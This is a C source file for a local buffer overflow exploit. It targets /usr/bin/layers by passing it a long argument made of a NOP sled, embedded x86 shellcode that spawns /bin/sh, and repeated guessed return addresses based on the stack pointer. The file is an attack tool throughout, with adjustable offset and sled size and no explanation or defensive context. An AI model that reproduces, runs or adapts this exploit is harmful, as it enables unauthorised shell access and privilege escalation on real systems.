#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char shell[] =
/* doble@iname.com */
"\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
"\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
"\xff\xff/bin/sh\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";

#define SIZE 10000
#define NOPDEF 9000
#define DEFOFF -2000

const char x86_nop=0x90;
long nop,esp;
long offset=DEFOFF;
char buffer[SIZE];

long get_esp() { __asm__("movl %esp,%eax"); }

int main (int argc, char *argv[])
{
int i;
if (argc > 1) offset += strtol(argv[1], NULL, 0);
if (argc > 2) nop += strtoul(argv[2], NULL, 0);
else
nop = NOPDEF;

esp = get_esp();

memset(buffer, x86_nop, SIZE);
memcpy(buffer+nop, shell, strlen(shell));

for (i = nop+strlen(shell); i < SIZE-4; i += 4) {
*((int *) &buffer[i]) = esp+offset;
}

printf("offset = [0x%x]\n",esp+offset);
execl("/usr/bin/layers", "layers",buffer, NULL);
printf("exec failed!\n");
return 0;
}